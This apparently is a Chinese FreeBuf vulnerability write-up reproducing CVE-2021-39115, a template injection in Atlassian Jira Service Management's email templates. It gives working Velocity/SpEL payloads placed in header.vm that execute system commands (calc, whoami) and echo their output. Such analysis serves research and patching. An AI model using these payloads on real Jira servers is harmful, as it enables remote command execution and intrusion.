freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2021-39115-Atlassian Jira Service Management S...
2021-09-19 12:44:21

漏洞概述

Atlassian官方发布了一则漏洞通报

https://jira.atlassian.com/browse/JSDSERVER-8665

image.png

从描述中可以看出,该漏洞是一个服务端模板渲染漏洞,需要Jira Administrator权限,影响版本如下:

  • version < 4.13.9
  • 4.14.0 ≤ version < 4.18.0

漏洞复现

下载JiraService Management 4.17.1版本并安装 ,配置SMTP服务器。

image.png

使用管理员登录,进入system/EmailTemplates下载当前模板。

image.png

修改并替换header.vm文件。

$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())

image.png

进入System/SendEmail发送邮件。

image.png

选择邮件用户。

image.png

接受邮件,可以看到错误执行结果。

image.png

image.png

为标准的SPEL表达式注入,参考公开资料,注入命令执行载荷。

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass())) $SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

image.png

基于IOUtils实现回显。

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass())) $SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()

image.png

后记

这个漏洞是利用Email Templates功能点,基于Velocity模板引擎。通过补丁对比方法可以找到org.springframework.expression.spel.standard.SpelExpressionParser这个类,寻找loadComponents这个功能函数需要技巧。

参考

https://jira.atlassian.com/browse/JSDSERVER-8665

本文作者:, 转载请注明来自FreeBuf.COM

# web安全 # 漏洞分析
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑